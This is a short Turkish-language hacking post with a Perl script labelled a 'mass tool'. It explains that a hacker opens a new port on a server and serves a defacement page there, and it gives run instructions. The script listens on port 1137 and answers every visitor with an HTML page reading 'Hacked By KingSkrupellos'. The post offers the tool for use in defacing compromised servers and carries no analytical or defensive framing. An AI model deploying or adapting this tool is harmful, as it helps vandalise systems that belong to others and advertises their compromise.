Famous Server Port Mass Tool

Port Açığını Mantığı =>

Hacker Sunucuda yeni bir port açar ve açtığı porta index kodlarını atar.
ActivePerl kodlarını mass.pl diye kaydedin ve Command Prompt ekranında perl mass.pl diye çalıştırın. O Kadar.

#!/usr/bin/perl -w
use strict;
use IO::Socket;

sub Wait  {
    wait;
}

$SIG{CHLD} = \&Wait;

my $server = IO::Socket::INET->new(
        LocalPort    => 1137,
        Type         => SOCK_STREAM,
        Reuse        => 1,
        Listen       => 10) or die "$@\n";
my $client ;

while($client = $server->accept()) {
        select $client;
        print $client "HTTP/1.0 200 OK\r\n";
        print $client "Content-type: text/p\r\n\r\n";
        print $client '<html>
  <center>
  <h1>Hacked By KingSkrupellos</h1>
  </center>
  </html>';
}
continue {
        close($client);
        kill CHLD -> -$$;
}